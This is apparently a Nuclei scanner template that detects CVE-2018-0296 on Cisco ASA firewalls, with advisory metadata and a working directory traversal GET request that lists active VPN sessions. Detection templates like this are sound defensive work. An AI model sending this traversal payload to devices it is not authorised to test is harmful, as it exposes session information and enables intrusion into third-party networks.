id: CVE-2018-0296

info:
  name: Cisco ASA - Local File Inclusion
  author: organiccrap
  severity: high
  description: |
    Cisco Adaptive Security Appliances (ASA) web interfaces could allow an unauthenticated, remote attacker to cause an affected device to reload unexpectedly, resulting in a denial of service (DoS) condition. It is also possible on certain software releases that the ASA will not reload, but an attacker could view sensitive system information without authentication by using directory traversal techniques. The vulnerability is due to lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. An exploit could allow the attacker to cause a DoS condition or unauthenticated disclosure of information. This vulnerability applies to IPv4 and IPv6 HTTP traffic. This vulnerability affects Cisco ASA Software and Cisco Firepower Threat Defense (FTD) Software that is running on the following Cisco products: 3000 Series Industrial Security Appliance (ISA), ASA 1000V Cloud Firewall, ASA 5500 Series Adaptive Security Appliances, ASA 5500-X Series Next-Generation Firewalls, ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers, Adaptive Security Virtual Appliance (ASAv), Firepower 2100 Series Security Appliance, Firepower 4100 Series Security Appliance, Firepower 9300 ASA Security Module, FTD Virtual (FTDv). Cisco Bug IDs: CSCvi16029.
  impact: |
    An attacker can read sensitive files on the Cisco ASA firewall, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the necessary security patches or updates provided by Cisco to fix the local file inclusion vulnerability.
  reference:
    - https://github.com/yassineaboukir/CVE-2018-0296
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180606-asaftd
    - https://www.exploit-db.com/exploits/44956/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-0296
    - http://www.securitytracker.com/id/1041076
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2018-0296
    cwe-id: CWE-22,CWE-20
    epss-score: 0.94404
    epss-percentile: 0.99977
    cpe: cpe:2.3:a:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: adaptive_security_appliance_software
  tags: cve2018,cve,edb,cisco,lfi,traversal,asa,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"

    headers:
      Accept-Encoding: deflate

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "///sessions"

      - type: status
        status:
          - 200
# digest: 490a0046304402206e0a2f730523aaba3eccf39ba61c664502188d4af72a66d6c990e1cca2c47f400220363e9a7529709281a45764c5e26a30d2b1d61f38a2f691de9d3f7a814b09af0d:922c64590222798bb761d5b6d8e72950